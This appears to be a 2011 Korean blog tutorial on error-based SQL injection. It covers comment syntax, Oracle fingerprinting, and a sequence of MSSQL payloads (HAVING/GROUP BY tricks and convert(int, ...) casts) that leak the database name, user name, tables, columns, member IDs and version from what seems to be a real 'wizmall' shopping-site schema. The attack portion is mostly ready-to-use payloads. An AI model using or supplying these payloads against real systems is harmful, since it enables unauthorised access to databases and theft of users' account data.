SQL Injetion을 해보자
O.S & Script & Programming 2011. 2. 10. 13:57 |SQL Injection을 파해쳐 보자
일반적으로 bypass를 써서 성공하게 되면, SQL Injection이 가능하다라고 생각 한다.
그 외 '(싱글쿼터)로 데이터 베이스 에러가 발생하면 가능도 하지 않을까 라고 생각 한다.
그렇게 해서 해보면 어느정도는 SQL Injection으로 원하는 결과를 얻기도 한다.
먼저 bypass와 주석에 대해서 알아보자
1. bypass 와 주석
아래의 bypass를 사용해서 로그인이 되거나 데이터 베이스 에러가 확인 될 경우, 취약하다는 가정을 갖게된다.
MSSQL은 주석을 -- 를 사용하며, MYSQL은 #을 사용한다.
Oracle 확인 방법은
AND 'abcd' = 'ab' + 'cd' 가 참이면 Oracle이 아니고
AND 'abcd' = 'ab' || 'cd'가 참이면 Oracle이 된다.
2. error base SQL Injection
SQL Injection 종류에서 error base가 가장 대표적이라고 말할 수 있다. 사용자가 사용한 잘못된 SQL 구문으로
웹페이지에서 에러를 도출 시키는 방법을 error base SQL Injection이라 한다.
일반적으로 브라우져가 보여주는 500 error를 DB error라고 한다.
3. DB 정보 알아내기
'and db_name() < 1 --
위와 같이 사용될 경우 db_name()이 정수형이 아닌 관계로 "<" 연산을 받아 들이지 못합니다.
이러한 이유로 인해 아래와 같은 오류 구문을 볼 수 있다.
오류가 발생하여 wizmall이라는 데이터베이스 이름을 알게되었다.
4. 그 외 SQL Injection에서 사용되는 것
1' HAVING 1=1 --
Having 은 첫번째 그룹된 값의 조건을 받아 주는데, 그룹이나 집계된 내역이 존재하지 않아 column 값을 에러로 보여준다.
1' GROUP BY m.mid HAVING 1=1 --
다음 컬럼을 확인하는데 사용됩니다. 위와 다르게 GROUP BY를 사용하여 1번에서 도출된(위의 HAVING) 값을 넣어준다.
1' GROUP BY m.mid m.mpwd HAVING 1=1 --
그 다음 column 값 확인
1' and 1=convert(int,db_name()) --
convert함수를 사용하여 형변환을 일으켜서 DB이름을 알아낸다.
1' and 1=convert(int,user_name())--
사용자 이름 알아내기
1' and 1=convert(int,(select top 1 table_name from information_schema.tables))--
테이블 정보 알아내기
1' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('wiztable_board_config')))--
다음 테이블 정보 알아내기
1' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'wizmembers')) --
컬럼 값 알아내기
1' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'wizmembers' and column_name not in ('uid'))) --
다음 컬럼 값 알아내기
1' and 1=convert(int,(select top 1 mid from wizmembers)) --
사용자 정보 알아내기
1' and 1=convert(int,@@version) --
버전 알아내기
음... 그외 Union select로 알아보기는 다음에 해야지 잇힝~
'O.S & Script & Programming' 카테고리의 다른 글
배치 파일 가지고 놀기 (0) | 2012.05.14 |
---|---|
윈도우 부팅 순서 (0) | 2012.05.14 |
리눅스에서 ^m 없애기 (0) | 2011.02.10 |
한 줄짜리 웹쉘의 사용법 (0) | 2011.02.10 |